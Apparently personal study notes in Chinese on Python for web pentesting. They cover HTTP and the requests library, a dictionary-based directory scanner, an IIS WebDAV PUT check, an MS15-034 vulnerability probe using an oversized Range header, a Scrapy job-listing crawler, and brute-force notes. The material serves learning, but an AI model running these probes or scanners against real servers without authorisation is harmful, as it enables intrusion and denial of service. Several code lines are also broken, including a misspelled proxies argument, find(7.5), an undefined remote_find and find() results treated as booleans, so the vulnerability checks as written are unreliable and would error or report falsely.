HTTP协议简述
w3schoolHTTP状态消息
w3schoolGET与POST
协议分类
HTTP1.0:开放80端口,一次一个连接
HTTP1.1:开放80端口,多次可以一个连接
HTTP采用明文传输,不安全
HTTPS:开放443端口,加密数据传输
请求方法
HTTP1.0:GET POST HEAD
HTTP1.1:OPTIONS PUT DELETE TRACE CONNECT PATCH
HTTP请求头
User-Agent:浏览器版本信息
Accept-encoding:浏览器接受的编码
Referer:当前网页从哪里跳转过来
Cookie:Cookie信息
Location:跳转到哪里
Set-Cookie:设置Cookie信息
WWW-Authenticate:用于身份验证
HTTP响应状态码
1XX:信息提示
2XX:成功
3XX:重定向
4XX:客户端错误
5XX:服务端错误
python处理HTTP请求
import requests
GET
不带参数:r = requests.get(url)
带参数:r = requests.get(url=url,params={‘key1’:‘value1’,‘key2’:‘value2’})
r.url:查看请求的url
POST
不带参数:r = requests.post(url)
带参数:r = requests.post(url=url,data={‘key1’:‘value1’,‘key2’:‘value2’})
自定义请求头
headers=(‘key1’:‘value1’)
requests.get(url,headers=headers)
其他请求
r = requests.put
r = requests.delete
r = requests.head
r = requests.options
python与HTTP响应
获取响应状态码
r.status_code
获取响应文本
r.content:二进制文本,获取之后不是一个字符串
r.text:获取之后是一个字符串,但中文乱码,可以使用r.encoding="utf-8"来转码
获取响应头
响应头:r.headers
请求头:r.request.headers
获取cookie
r.cookie
获取请求url
r.url
python与HTTP代理
代理设置
http
https
参数设置
proxies:设置代理
verify=False:HTTPS要验证证书合法性,设置此参数可以避免
import requests
url="https://www.baidu.com"
#ip 192.168.100.9
proxise = {'http':'http://192.168.100.9:8080','https':'https://192.168.100.9:8080'}
r = requests.get(url,proxise=proxise,verify=False)
结合BP查看
python会话
携带cookie的会话
访问某些页面时,会通过set-cookie设置cookie值,以便下一次访问自动提交cookie进行身份验证
python-Session
s = requests.Session()
r = s.get(url)
import requests
url = "https://www.baidu.com"
s = requests.Session()
r = s.get(url)
print(r.cookies)
print(r.request.headers)
r1=s.get(url)
print(r1.request.headers)
python目录扫描
目录扫描原理
1.读取字典文件,拼接url
2.HTTP GET请求URL
3.判断状态码,status_code=200,输出对应的目录
字典文件读取
#读入文件
with open("filename.txt","r") as f:
#每次读取一行
f.readline()
#全部读取
f.readlines()
#读取a个字节数
f.read(a)
with open("dir.txt",r) as f:
for line in f.readlines():
print(line.strip())#strip()删除空行
工具编写
读取字典文件
HTTP GET请求
参数优化
import requests
import sys
url = sys.argv[1]#通过命令行来获取
with open ("dir.txt","r") as f:
for line in f.readlines():
line = line.strip()
r=requests.get(url+line)
if r.status_code == 200:
print("url:"+r.url+" exist")
此时命令行语句:python a.py url地址
若dic=sys.argv[2]
with open(dic,"r") as f:
则命令行语句:python a.py url地址 爆破参数地址
命令行参数传递
sys.argv[0]
文件读写
open(filename,mode)
r:读
w:写,会覆盖之前的内容
a:追加
自定义User-Agent
获取合法的user-agent,避免反爬
python-IIS PUT漏洞
工具原理
IIS中WebDAV支持HTTP方法,也提供了一些其他功能强大的方法(move),使得开启WebDAV可以直接上传任意文件
使用HTTP options方法可以探测出服务器支持的HTTP方法
工具编写
1.确定目标服务器
2.发送options请求
3.确定结果中是否具有move put
import requests
url="http://172.16.1.129"
r=requests.options(url)
print(r.headers)
print(r.headers["Allow"])
print(r.headers["Public"])
#webdav开启的方法会在public中展示
result = r.headers['Public']
if result.find("PUT") and result.find("MOVE"):
print("exist iis put vul")
else:
print("not exist")
python获取HTTP服务器信息
获取中间件信息
IIS
Apache
获取脚本信息
IIS:
import requests
url="http://172.16.1.129"
r=requests.get(url)
print(r.headers['Server'])#服务器中间件
print(r.headers['X-Powered-By'])#服务器脚本
Python漏洞检测
ms15-034
漏洞原理
漏洞被披露后,根据漏洞原理写出对应的POC代码,用来验证漏洞是否存在
代码编写
“GET/HTTP/1.1\r\nHost:stuff\r\nRange:bytes=0-18446744073709551615\r\n\r\n”
import requests
url = "http://172.16.1.130"
r=requests.get(url)
#检测是否是存在漏洞的版本
remote_sever = r.headers['Server']
if remote_sever.find(7.5) or remote_find(8.0):
payload={'Host':'stuff','Range':'bytes=0-18446744073709551615'}
r1 = requests.get(url,headers=payload)
if str(r1.content).find("Requested Range Not Satisfiable"):
print(url + "exit vuln ms15-034")
else:
print("no vuln")
else:
print("Server not exit th vul")
验证检测效果
搭建漏洞环境用于测试
与其他工具进行效果对比
#站点地图构建
测试Web App首要任务
获取站点完整目录与文件
技术种类
1.通过基于字典的目录文件扫描确定:使用python requests可以轻松完成任务
2.通过基于网络爬虫的技术确定:使用python scrapy完成
使用BP构建
python-scrapy
scrapy命令行帮助信息
输入scrapy,查看
创建工程命令
scrapy startproject 工程名
工程文件作用
1.items.py:设置要爬取的字段
2.pipelines.py:设置保存爬取内容
3.settings.py:设置文件,比如user-agent
初始化工程
1.scrapy startproject Tencent
2.items.py添加爬取字段:
a.scrapy.Filed()
b.calss TencentItem(scrapy.Item)
# -*- coding: utf-8 -*-
# Define here the models for your scraped items
#
# See documentation in:
# https://docs.scrapy.org/en/latest/topics/items.html
import scrapy
class TencentItem(scrapy.Item):
# define the fields for your item here like:
# name = scrapy.Field()
position_name = scrapy.Field()
position_link = scrapy.Field()
position_type = scrapy.Field()
position_number = scrapy.Field()
position_site = scrapy.Field()
position_time = scrapy.Field()
创建基础爬虫类
1.scrapy genspider tencentPostion “tencent.com”
2.tencentPostion为爬虫名,tencent.com为爬虫作用范围
3.执行命令后会在spiders文件夹中创建一个tencentPostion.py的文件,在这里编写爬虫的内容
初始与结束条件
1.初始化url
https://hr.tencent.com/position.php?start=
2.每次偏移offset+10,初始化offset=0
3.爬虫初始化urls start_urls=[url+str(offset)]
4.结束条件
https://hr.tencent.com/position.php?start=2870#a
offset<2870
offset = offset+10
5.循环爬取
每次处理完一页的数据之后,重新发送下一页页面请求
yield scrapy.Request(self.url+str(self.offset),callback=self.parse)
初始化item对象
1.类中调用自身属性和方法
self.属性名
self.方法名
2.循环读取行
for each in response.xpath("//tr[@class='even']|//tr[@class='odd']")
#xpath中//标签名 获取全部标签
#[@class]获取类名为even或odd的行
3.循环读取列
#初始化item对象
item=TencentItem()
#获取职位名称
item['position_name']=each.xpath("./td[1]/a/text()").extract()[0]
#获取详情链接
item['positionlink']=each.xpath("./td[1]/a/@href").extract()[0]
保存爬取内容
1.打卡文件
在初始化__init__中self.filename=open("tencent.json","w")
2.保存数据到文件
text=json.dumps(dict(item),ensure_ascii=False)+",\n"
self.filename.write(text.encode("utf-8"))
3.关闭文件
在close_spider(self,spider)中 关闭文件self.filename.close()
设置配置文件
1.设置请求头
user-agent
accpet
2.设置item-pipelines
3.执行命令,爬取数据
scrapy crwal tencentPosition
4.bug修复
在tencentPosition中
在pipelines中
代码汇总
1.items.py
# -*- coding: utf-8 -*-
# Define here the models for your scraped items
#
# See documentation in:
# https://docs.scrapy.org/en/latest/topics/items.html
import scrapy
class TencentItem(scrapy.Item):
# define the fields for your item here like:
# name = scrapy.Field()
position_name = scrapy.Field()
position_link = scrapy.Field()
position_type = scrapy.Field()
position_number = scrapy.Field()
position_site = scrapy.Field()
position_time = scrapy.Field()
2.tencentPosition.py
# -*- coding: utf-8 -*-
import scrapy
from Tencent.items import TencentItem
class TencentpositionSpider(scrapy.Spider):
name = 'tencentPosition'
allowed_domains = ['tencent.com']
url='https://hr.tencent.com/position.php?start='
offset=0
start_urls = [url+str(offset)]
def parse(self, response):
#爬虫主要代码
for line in response.xpath("//tr[@class='even'] | //tr[@class='odd']"):
item = TencentItem()
item['position_name'] = line.xpath("./td[1]/a/text()").extract()[0]
item['position_link'] = line.xpath("./td[1]/a/@href").extract()[0]
item['position_type'] = line.xpath("./td[2]/text()").extract()[0]
item['position_number'] = line.xpath("./td[3]/text()").extract()[0]
item['position_site'] = line.xpath("./td[4]/text()").extract()[0]
item['position_time'] = line.xpath("./td[5]/text()").extract()[0]
yield item
if self.offset < 2870:
self.offset = self.offset+10
yield scrapy.Request(self.url+str(self.offset),callback=self.parse)
3.pipelines.py
# -*- coding: utf-8 -*-
# Define your item pipelines here
#
# Don't forget to add your pipeline to the ITEM_PIPELINES setting
# See: https://docs.scrapy.org/en/latest/topics/item-pipeline.html
import json
class TencentPipeline(object):
def __init__(self):
self.filename = open("tencent.json","w")
def process_item(self, item, spider):
text=json.dumps(dict(item),ensure_ascii=False)+",\n"
self.filename.write(str(text))
return item
def close_spider(self,spider):
self.filename.close()
4.settings.py
# -*- coding: utf-8 -*-
# Scrapy settings for Tencent project
#
# For simplicity, this file contains only settings considered important or
# commonly used. You can find more settings consulting the documentation:
#
# https://docs.scrapy.org/en/latest/topics/settings.html
# https://docs.scrapy.org/en/latest/topics/downloader-middleware.html
# https://docs.scrapy.org/en/latest/topics/spider-middleware.html
BOT_NAME = 'Tencent'
SPIDER_MODULES = ['Tencent.spiders']
NEWSPIDER_MODULE = 'Tencent.spiders'
# Crawl responsibly by identifying yourself (and your website) on the user-agent
#USER_AGENT = 'Tencent (+http://www.yourdomain.com)'
# Obey robots.txt rules
ROBOTSTXT_OBEY = True
# Configure maximum concurrent requests performed by Scrapy (default: 16)
#CONCURRENT_REQUESTS = 32
# Configure a delay for requests for the same website (default: 0)
# See https://docs.scrapy.org/en/latest/topics/settings.html#download-delay
# See also autothrottle settings and docs
#DOWNLOAD_DELAY = 3
# The download delay setting will honor only one of:
#CONCURRENT_REQUESTS_PER_DOMAIN = 16
#CONCURRENT_REQUESTS_PER_IP = 16
# Disable cookies (enabled by default)
#COOKIES_ENABLED = False
# Disable Telnet Console (enabled by default)
#TELNETCONSOLE_ENABLED = False
# Override the default request headers:
DEFAULT_REQUEST_HEADERS = {
'Accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9',
'Accept-Language': 'en',
'user-agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.125 Safari/537.36',
}
# Enable or disable spider middlewares
# See https://docs.scrapy.org/en/latest/topics/spider-middleware.html
#SPIDER_MIDDLEWARES = {
# 'Tencent.middlewares.TencentSpiderMiddleware': 543,
#}
# Enable or disable downloader middlewares
# See https://docs.scrapy.org/en/latest/topics/downloader-middleware.html
#DOWNLOADER_MIDDLEWARES = {
# 'Tencent.middlewares.TencentDownloaderMiddleware': 543,
#}
# Enable or disable extensions
# See https://docs.scrapy.org/en/latest/topics/extensions.html
#EXTENSIONS = {
# 'scrapy.extensions.telnet.TelnetConsole': None,
#}
# Configure item pipelines
# See https://docs.scrapy.org/en/latest/topics/item-pipeline.html
ITEM_PIPELINES = {
'Tencent.pipelines.TencentPipeline': 300,
}
# Enable and configure the AutoThrottle extension (disabled by default)
# See https://docs.scrapy.org/en/latest/topics/autothrottle.html
#AUTOTHROTTLE_ENABLED = True
# The initial download delay
#AUTOTHROTTLE_START_DELAY = 5
# The maximum download delay to be set in case of high latencies
#AUTOTHROTTLE_MAX_DELAY = 60
# The average number of requests Scrapy should be sending in parallel to
# each remote server
#AUTOTHROTTLE_TARGET_CONCURRENCY = 1.0
# Enable showing throttling stats for every response received:
#AUTOTHROTTLE_DEBUG = False
# Enable and configure HTTP caching (disabled by default)
# See https://docs.scrapy.org/en/latest/topics/downloader-middleware.html#httpcache-middleware-settings
#HTTPCACHE_ENABLED = True
#HTTPCACHE_EXPIRATION_SECS = 0
#HTTPCACHE_DIR = 'httpcache'
#HTTPCACHE_IGNORE_HTTP_CODES = []
#HTTPCACHE_STORAGE = 'scrapy.extensions.httpcache.FilesystemCacheStorage'
python与字典
工具原理
通过读取字典文件获取内容,拼接URL,执行GET http请求,获取响应状态码,根据状态码判断目录文件资源是否存在
工具思路
命令行工具参数获取
字典读取
多线程访问
状态码获得判断输出结果
结果分析
工具初始化
Banner信息函数
def banner(): 用于介绍工具与名称
使用方法信息函数
def usage():
使用方法:1.url 2.thread 3.dictionary
命令行参数的获得
模块介绍
1.sys
sys.argv获取python命令行执行的数据
2.getopt
python自带的解析命令行参数模块
参数获得
opts,args = getopt.getopt(sys.argv[1:],"u:t:d:")
根据使用方法,可知len(sys.argv)等于7才能执行。将参数获得的内容封装到start函数中
字典文件读取
python字典文件读取
with open(filename,mode) as f:
f.readlines()
多线程思路
一个线程读取固定数目的字典文件内容
制作多线程使用的字典列表 存储都是以列表格式
多线程访问
python多线程
threading.Thread(target=,args=())
start()
线程列表
读取字典列表中的内容
扫描函数 scan
密码暴破
需要一个足够大的字典
在线
针对在线服务的认证凭证进行合法用户枚举
离线
密文加密
Burpsuite破解
基于表单验证的破解和基于HTTP认证的破解